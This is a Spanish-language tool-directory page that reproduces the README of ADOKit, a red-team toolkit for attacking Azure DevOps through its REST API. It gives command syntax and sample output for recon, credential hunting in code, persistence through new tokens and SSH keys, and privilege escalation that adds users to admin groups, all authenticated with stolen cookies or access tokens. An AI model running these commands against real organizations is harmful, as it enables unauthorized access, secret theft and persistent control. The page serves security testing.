Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ADOKit — Kit de ataque modular que explota la API REST de Azure DevOps para reconocimiento, escalada de privilegios y persistencia utilizando cookies robadas o PATs. | Kitploit
Herramientas/GitHubGitHub/h4wkst3r/adokit
Escalada de PrivilegiosReconocimientoMecanismos de PersistenciaPruebas de PenetraciónSeguridad en la NubeRed Teaming
GitHubh4wkst3r/adokit

ADOKit

Kit de ataque modular que explota la API REST de Azure DevOps para reconocimiento, escalada de privilegios y persistencia utilizando cookies robadas o PATs.

Ver Repositorio
1556473hace 3 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
# ADOKit

## Description

Azure DevOps Services Attack Toolkit - ADOKit es un conjunto de herramientas que se puede utilizar para atacar servicios de Azure DevOps aprovechando la API REST disponible. La herramienta permite al usuario especificar un módulo de ataque, junto con credenciales válidas (clave API o cookie de autenticación robada) para la instancia correspondiente de Azure DevOps Services. Los módulos de ataque compatibles incluyen reconocimiento, escalada de privilegios y persistencia. ADOKit se construyó con un enfoque modular, de modo que nuevos módulos puedan ser añadidos en el futuro por la comunidad de seguridad de la información.

Los detalles completos sobre las técnicas utilizadas por ADOKit se encuentran en el [whitepaper](https://www.ibm.com/downloads/cas/5JKAPVYD) de X-Force Red.

### Black Hat USA Arsenal 2024

Las diapositivas de presentación y las demostraciones se incluyen en la carpeta [BHUSA Arsenal 2024](https://github.com/h4wkst3r/adokit/blob/main/BHUSA_Arsenal_2024) de este repositorio.

## Release
* La versión 1.4.1 de ADOKit se encuentra en Releases

## Table of Contents

- [ADOKit](#ADOKit)
- [Table of Contents](#table-of-contents)
- [Installation/Building](#installationbuilding)
  - [Libraries Used](#libraries-used)
  - [Pre-Compiled](#pre-compiled)
  - [Building Yourself](#building-yourself)
- [Command Modules](#command-modules)
- [Arguments/Options](#argumentsoptions)
- [Authentication Options](#authentication-options)
- [Module Details Table](#module-details-table)
- [Examples](#examples)
  - Recon
    - [Validate Azure DevOps Access](#validate-azure-devops-access)
    - [Whoami](#whoami)
    - [List Orgs](#List-orgs)
    - [List Repos](#List-repos)
    - [Search Repos](#Search-repos)
    - [List Projects](#list-projects)
    - [Search Projects](#search-projects)
    - [Search Code](#Search-code)
    - [Search Files](#Search-files)
    - [List Users](#list-users)
    - [Search User](#search-user)
    - [List Teams](#list-teams)
    - [Search Team](#search-team)
    - [Get Team Members](#get-team-members)
    - [List Groups](#list-groups)
    - [Search Groups](#search-groups)
    - [Get Group Members](#get-group-members)
    - [Get Project Permissions](#get-project-permissions)
    - [Creds Search](#creds-search)
    - [Get Build Logs](#get-build-logs)
    - [List Build Logs](#list-build-logs)
    - [Search Build Logs](#search-build-logs)
  - Persistence
    - [Create PAT](#create-pat)
    - [List PATs](#list-pats)
    - [Remove PAT](#remove-pat)
    - [Create SSH Key](#create-ssh-key)
    - [List SSH Keys](#list-ssh-keys)
    - [Remove SSH Key](#remove-ssh-key)
  - Privilege Escalation
    - [Add Project Admin](#add-project-admin)
    - [Remove Project Admin](#remove-project-admin)
    - [Add Build Admin](#add-build-admin)
    - [Remove Build Admin](#remove-build-admin)
    - [Add Collection Admin](#add-collection-admin)
    - [Remove Collection Admin](#remove-collection-admin)
    - [Add Collection Build Admin](#add-collection-build-admin)
    - [Remove Collection Build Admin](#remove-collection-build-admin)
    - [Add Collection Build Service Account](#add-collection-build-service-account)
    - [Remove Collection Build Service Account](#remove-collection-build-service-account)
    - [Add Collection Service Account](#add-collection-service-account)
    - [Remove Collection Service Account](#remove-collection-service-account)
    - [Get Pipeline Variables](#get-pipeline-variables)
    - [Get Pipeline Secrets](#get-pipeline-secrets)
    - [Get Variable Groups](#get-variable-groups)
    - [Get Service Connections](#get-service-connections)
- [Detection](#detection)
- [Roadmap](#roadmap)
- [References](#references)

## Installation/Building

### Libraries Used
Las siguientes bibliotecas de terceros se utilizan en este proyecto.

| Library | URL | License |
| ------------- | ------------- | ------------- |
| Fody  | [https://github.com/Fody/Fody](https://github.com/Fody/Fody) | MIT License  |
| Newtonsoft.Json  | [https://github.com/JamesNK/Newtonsoft.Json](https://github.com/JamesNK/Newtonsoft.Json) | MIT License  |

### Pre-Compiled 

* Utilice el binario precompilado en Releases

### Building Yourself

Siga los pasos a continuación para configurar Visual Studio y compilar el proyecto usted mismo. Esto requiere dos bibliotecas .NET que se pueden instalar desde el administrador de paquetes NuGet.

* Cargue el proyecto de Visual Studio y vaya a "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
* Vaya a "NuGet Package Manager" --> "Package Sources"
* Agregue una fuente de paquete con la URL `https://api.nuget.org/v3/index.json`
* Instale el paquete NuGet Costura.Fody. 
  * `Install-Package Costura.Fody -Version 3.3.3`
* Instale el paquete Newtonsoft.Json
  * `Install-Package Newtonsoft.Json`
* ¡Ahora puede compilar el proyecto usted mismo!

## Command Modules

* Recon
  * <b>check</b> - Verifica si la organización utiliza Azure DevOps y si las credenciales son válidas
  * <b>whoami</b> - Muestra el usuario actual y sus pertenencias a grupos
  * <b>listorgs</b> - Lista las organizaciones accesibles o todas dentro de Azure DevOps
  * <b>listrepo</b> - Lista todos los repositorios
  * <b>searchrepo</b> - Busca un repositorio específico
  * <b>listproject</b> - Lista todos los proyectos
  * <b>searchproject</b> - Busca un proyecto específico
  * <b>searchcode</b> - Busca código que contenga un término de búsqueda
  * <b>searchfile</b> - Busca archivos basados en un término de búsqueda
  * <b>listuser</b> - Lista usuarios
  * <b>searchuser</b> - Busca un usuario específico
  * <b>listteam</b> - Lista equipos
  * <b>searchteam</b> - Busca un equipo específico
  * <b>getteammembers</b> - Obtiene los miembros de un equipo específico
  * <b>listgroup</b> - Lista grupos
  * <b>searchgroup</b> - Busca un grupo específico
  * <b>getgroupmembers</b> - Lista todos los miembros de un grupo específico
  * <b>getpermissions</b> - Obtiene los permisos de quién tiene acceso a un proyecto específico
  * <b>creds</b> - Busca credenciales en el código (palabras clave listadas a continuación)
    * ``` "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password" ```
  * <b>getbuildlogs</b> - Descarga los registros de compilación de uno o todos los proyectos
  * <b>listbuildlogs</b> - Lista los registros de compilación de uno o todos los proyectos
  * <b>searchbuildlogs</b> - Busca en los registros de compilación un término de búsqueda específico
* Persistence
  * <b>createpat</b> - Crea un token de acceso personal para el usuario
  * <b>listpat</b> - Lista los tokens de acceso personal del usuario
  * <b>removepat</b> - Elimina el token de acceso personal del usuario
  * <b>createsshkey</b> - Crea una clave SSH pública para el usuario
  * <b>listsshkey</b> - Lista las claves SSH públicas del usuario
  * <b>removesshkey</b> - Elimina la clave SSH pública del usuario
* Privilege Escalation
  * <b>addprojectadmin</b> - Agrega un usuario al grupo "Project Administrators" para un proyecto específico
  * <b>removeprojectadmin</b> - Elimina un usuario del grupo "Project Administrators" para un proyecto específico
  * <b>addbuildadmin</b> - Agrega un usuario al grupo "Build Administrators" para un proyecto específico
  * <b>removebuildadmin</b> - Elimina un usuario del grupo "Build Administrators" para un proyecto específico
  * <b>addcollectionadmin</b> - Agrega un usuario al grupo "Project Collection Administrators"
  * <b>removecollectionadmin</b> - Elimina un usuario del grupo "Project Collection Administrators"
  * <b>addcollectionbuildadmin</b> - Agrega un usuario al grupo "Project Collection Build Administrators"
  * <b>removecollectionbuildadmin</b> - Elimina un usuario del grupo "Project Collection Build Administrators"
  * <b>addcollectionbuildsvc</b> - Agrega un usuario al grupo "Project Collection Build Service Accounts"
  * <b>removecollectionbuildsvc</b> - Elimina un usuario del grupo "Project Collection Build Service Accounts"
  * <b>addcollectionsvc</b> - Agrega un usuario al grupo "Project Collection Service Accounts"
  * <b>removecollectionsvc</b> - Elimina un usuario del grupo "Project Collection Service Accounts"
  * <b>getpipelinevars</b> - Recupera las variables de canalización utilizadas en un proyecto específico.
  * <b>getpipelinesecrets</b> - Recupera los nombres de los secretos de canalización utilizados en un proyecto específico.
  * <b>getvariablegroups</b> - Recupera los grupos de variables y las variables correspondientes utilizadas en un proyecto específico.
  * <b>getserviceconnections</b> - Recupera las conexiones de servicio utilizadas en un proyecto específico.


## Arguments/Options

* <b>/credential:</b> - credencial para autenticación (PAT o Cookie). Aplicable a todos los módulos.
* <b>/url:</b> - URL de Azure DevOps. Aplicable a todos los módulos.
* <b>/search:</b> - Palabra clave a buscar. No aplicable a todos los módulos.
* <b>/project:</b> - Proyecto para el cual realizar una acción. No aplicable a todos los módulos.
* <b>/user:</b> - Realizar una acción contra un usuario específico. No aplicable a todos los módulos.
* <b>/id:</b> - Utilizado con módulos de persistencia para realizar una acción contra un ID de token específico. No aplicable a todos los módulos.
* <b>/group:</b> - Realizar una acción contra un grupo específico. No aplicable a todos los módulos.

## Authentication Options

A continuación se presentan las opciones de autenticación disponibles con ADOKit al autenticarse en una instancia de Azure DevOps.

* **Stolen Cookie - UserAuthentication** - Esta será la cookie `UserAuthentication` en la máquina de un usuario para el dominio `.dev.azure.com`.
  * `/credential:UserAuthentication=ABC123`
* **Stolen Cookie - AadAuthentication** - Esta será la cookie `AadAuthentication` en la máquina de un usuario para el dominio `.dev.azure.com`.
  * `/credential:eyJ0...`
* **Personal Access Token (PAT)** - Será un token de acceso/clave API que será una sola cadena.
  * `/credential:apiToken`
* **Stolen Access Token** - Si puedes robar o renovar un token de acceso adecuado, también puedes usarlo. Al usar un token de acceso, debe ser válido para el recurso de Azure Resource Manager (ARM) - `"aud":"https://management.core.windows.net/"` o Azure Devops - `"aud":"499b84ac-1321-427f-aa17-267ca6975798"`
  * `/credential:eyJ0..`

## Module Details Table
La siguiente tabla muestra los permisos requeridos para cada módulo.

Attack Scenario | Module  | Special Permissions? | Notes
--- |--- | --- | ---
Recon | `check` |  No | 
Recon | `whoami` |  No |
Recon | `listorgs` |  No | 
Recon | `listrepo` |  No | 
Recon | `searchrepo` |  No | 
Recon | `listproject` |  No | 
Recon | `searchproject` |  No | 
Recon | `searchcode` |  No | 
Recon | `searchfile` |  No | 
Recon | `listuser` |  No | 
Recon | `searchuser` |  No |
Recon | `listteam` |  No | 
Recon | `searchteam` |  No |
Recon | `getteammembers` |  No | 
Recon | `listgroup` |  No | 
Recon | `searchgroup` |  No |
Recon | `getgroupmembers` |  No |
Recon | `getpermissions` |  No |
Recon | `creds` |  No | 
Recon | `getbuildlogs` |  Sí - `Contributors` o `Readers` o `Build Administrators` o `Project Administrators` o `Project Team Member` o `Project Collection Test Service Accounts` o `Project Collection Build Service Accounts` o `Project Collection Build Administrators` o `Project Collection Service Accounts` o `Project Collection Administrators` | 
Recon | `listbuildlogs` |  Sí - `Contributors` o `Readers` o `Build Administrators` o `Project Administrators` o `Project Team Member` o `Project Collection Test Service Accounts` o `Project Collection Build Service Accounts` o `Project Collection Build Administrators` o `Project Collection Service Accounts` o `Project Collection Administrators` |
Recon | `searchbuildlogs` |  Sí - `Contributors` o `Readers` o `Build Administrators` o `Project Administrators` o `Project Team Member` o `Project Collection Test Service Accounts` o `Project Collection Build Service Accounts` o `Project Collection Build Administrators` o `Project Collection Service Accounts` o `Project Collection Administrators` | 
Persistence | `createpat` |  No | 
Persistence | `listpat` |  No | 
Persistence | `removepat` |  No | 
Persistence | `createsshkey` |  No | 
Persistence | `listsshkey` |  No | 
Persistence | `removesshkey` |  No | 
Privilege Escalation | `addprojectadmin` |  Sí - `Project Administrator`, `Project Collection Administrator` o `Project Collection Service Accounts` | 
Privilege Escalation | `removeprojectadmin` |  Sí - `Project Administrator`, `Project Collection Administrator` o `Project Collection Service Accounts`  | 
Privilege Escalation | `addbuildadmin` |  Sí - `Project Administrator`, `Project Collection Administrator` o `Project Collection Service Accounts`   | 
Privilege Escalation | `removebuildadmin` |  Sí - `Project Administrator`, `Project Collection Administrator` o `Project Collection Service Accounts`   | 
Privilege Escalation | `addcollectionadmin` |  Sí - `Project Collection Administrator` o `Project Collection Service Accounts`   | 
Privilege Escalation | `removecollectionadmin` |  Sí - `Project Collection Administrator` o `Project Collection Service Accounts`   | 
Privilege Escalation | `addcollectionbuildadmin` |  Sí - `Project Collection Administrator` o `Project Collection Service Accounts`  | 
Privilege Escalation | `removecollectionbuildadmin` |  Sí - `Project Collection Administrator` o `Project Collection Service Accounts`   | 
Privilege Escalation | `addcollectionbuildsvc` |  Sí - `Project Collection Administrator`, `Project Colection Build Administrators` o `Project Collection Service Accounts`  | 
Privilege Escalation | `removecollectionbuildsvc` |  Sí - `Project Collection Administrator`, `Project Colection Build Administrators` o `Project Collection Service Accounts`   | 
Privilege Escalation | `addcollectionsvc` |  Sí - `Project Collection Administrator` o `Project Collection Service Accounts`   | 
Privilege Escalation | `removecollectionsvc` |  Sí - `Project Collection Administrator` o `Project Collection Service Accounts` | 
Privilege Escalation | `getpipelinevars` | Sí - `Contributors` o `Readers` o `Build Administrators` o `Project Administrators` o `Project Team Member` o `Project Collection Test Service Accounts` o `Project Collection Build Service Accounts` o `Project Collection Build Administrators` o `Project Collection Service Accounts` o `Project Collection Administrators` |
Privilege Escalation | `getpipelinesecrets` |  Sí - `Contributors` o `Readers` o `Build Administrators` o `Project Administrators` o `Project Team Member` o `Project Collection Test Service Accounts` o `Project Collection Build Service Accounts` o `Project Collection Build Administrators` o `Project Collection Service Accounts` o `Project Collection Administrators` | 
Privilege Escalation | `getvariablegroups` |  Sí - `Contributors` o `Readers` o `Build Administrators` o `Project Administrators` o `Project Team Member` o `Project Collection Test Service Accounts` o `Project Collection Build Service Accounts` o `Project Collection Build Administrators` o `Project Collection Service Accounts` o `Project Collection Administrators` |
Privilege Escalation | `getserviceconnections` |  Sí - `Project Administrator`, `Project Collection Administrator` o `Project Collection Service Accounts` | 


## Examples

### Validate Azure DevOps Access

#### Use Case

> *Realizar una verificación de autenticación para asegurar que la organización utiliza Azure DevOps y que las credenciales proporcionadas son válidas.*

#### Syntax

Proporcione el módulo `check`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará si la organización proporcionada utiliza Azure DevOps y, de ser así, intentará validar las credenciales proporcionadas.

`ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Example Output```
C:\>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         check
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/28/2023 3:33:01 PM
==================================================


[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check
```
### Whoami

#### Caso de Uso

> *Obtener el usuario actual y las membresías de grupo del usuario*

#### Sintaxis

Proporcione el módulo `whoami`, junto con cualquier información de autenticación relevante y URL. Esto mostrará el usuario actual y todas sus membresías de grupo.

`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Salida de Ejemplo```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module:         whoami
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                          jsmith |                                        John Smith |          [email protected]


[*] INFO: Listing group memberships for the current user


                                                             Group UPN |                                       Display Name |                                        Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    [YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                                           [TestProject2]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                                           [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [YourOrganization]\Project Collection Administrators |                  Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

```
### Listar Organizaciones

#### Caso de Uso

> *Recuperar organizaciones usando un token de acceso determinado.*

#### Sintaxis

Proporcione al módulo `listorgs` la información de autenticación requerida. De forma predeterminada, este comando enumera solo las organizaciones accesibles con el token de acceso proporcionado.

- Use **`/mode:aad`** para enumerar **todas** las organizaciones de DevOps dentro del inquilino de Azure AD, independientemente del acceso directo.
- Use **`/endpoint:ENDPOINT_NAME`** para especificar un endpoint AEX personalizado.
  - Se pueden identificar endpoints adicionales inspeccionando la cookie `"X-VSS-DeploymentAffinity"` de `aex.dev.azure.com`.

`ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]`

`ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21`

#### Ejemplo de Salida```
C:\>ADOKit.exe listorgs /credential:"eyj0..."

==================================================
Module:         listorgs
Auth Type:      Azure Access Token
Target URL:     https://app.vssps.visualstudio.com

Timestamp:      3/14/2025 2:26:45 PM
==================================================                                                                                                                                                 

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                         Organization ID |                        Organization Name
-----------------------------------------------------------------------------------
    390a7474-e2f2-4b98-b538-4a547fa9f5e3 |                             solar-devops
    b63b999f-43f2-48c5-998d-b31cbf4c2f8e |                             lunar-devops

```
### Listar Repositorios

#### Caso de Uso

> *Descubrir repositorios que se están utilizando en la instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `listrepo`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre del repositorio y su URL.

`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Ejemplo de Salida```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listrepo
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                  MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
                 SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
                   AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
      ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

```
### Search Repos

#### Caso de uso

> *Buscar repositorios por nombre de repositorio en instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `searchrepo` y sus criterios de búsqueda en el argumento de línea de comandos `/search:`, junto con cualquier información de autenticación relevante y URL. Esto generará el nombre y la URL del repositorio coincidente.

`ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred`

`ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred`

#### Ejemplo de salida```
C:\>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

==================================================
Module:         searchrepo
Auth Type:      API Key
Search Term:    test
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 9:26:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

```
### Listar Proyectos

#### Caso de uso

> *Descubrir proyectos que se están utilizando en la instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `listproject`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre del proyecto, la visibilidad (pública o privada) y la URL.

`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Ejemplo de salida```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listproject
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  TestProject2 |         private | https://dev.azure.com/YourOrganization/TestProject2
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap
      ProjectWithMultipleRepos |         private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
                   TestProject |         private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

```
### Buscar Proyectos

#### Caso de Uso

> *Buscar proyectos por nombre en la instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `searchproject` y su criterio de búsqueda en el argumento de línea de comandos `/search:`, junto con cualquier información de autenticación y URL relevante. Esto mostrará el nombre del proyecto coincidente, la visibilidad (pública o privada) y la URL.

`ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred`

`ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred`

#### Ejemplo de Salida```
C:\>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

==================================================
Module:         searchproject
Auth Type:      API Key
Search Term:    map
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:45:30 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

```
### Buscar Código

#### Caso de Uso

> *Buscar código que contenga una palabra clave determinada en una instancia de Azure DevOps*

#### Sintaxis

Proporcione el módulo `searchcode` y su criterio de búsqueda en el argumento de línea de comando `/search:`, junto con cualquier información de autenticación relevante y la URL. Esto generará la URL al archivo de código coincidente, junto con la línea del código que coincidió.

`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`

`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`

#### Ejemplo de Salida```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module:         searchcode
Auth Type:      Cookie
Search Term:    password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchcode
```
### Buscar Archivos

#### Caso de Uso

> *Buscar archivos en repositorios que contengan una palabra clave específica en el nombre del archivo en Azure DevOps*

#### Sintaxis

Proporcione el módulo `searchfile` y sus criterios de búsqueda en el argumento de línea de comandos `/search:`, junto con cualquier información de autenticación relevante y la URL. Esto generará la URL del archivo coincidente en su repositorio correspondiente.

`ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline`

`ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline`

#### Ejemplo de Salida```
C:\>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

==================================================
Module:         searchfile
Auth Type:      Cookie
Search Term:    test
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 11:28:34 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                                                                            File URL
----------------------------------------------------------------------------------------------------
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs
https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs
https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

```
### Búsqueda de credenciales

#### Caso de uso

> *Buscar código que contenga secretos como contraseñas o claves API en Azure DevOps*

#### Sintaxis

Proporcione el módulo `creds`, junto con cualquier información de autenticación relevante y la URL. Esto generará la URL del archivo coincidente en su respectivo repositorio, y la(s) línea(s) coincidente(s) donde están presentes las credenciales.

`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Ejemplo de salida```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         creds
Auth Type:      Cookie
Search Term:    pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
```

---

[Read more](https://github.com/h4wkst3r/adokit)
Descargar herramienta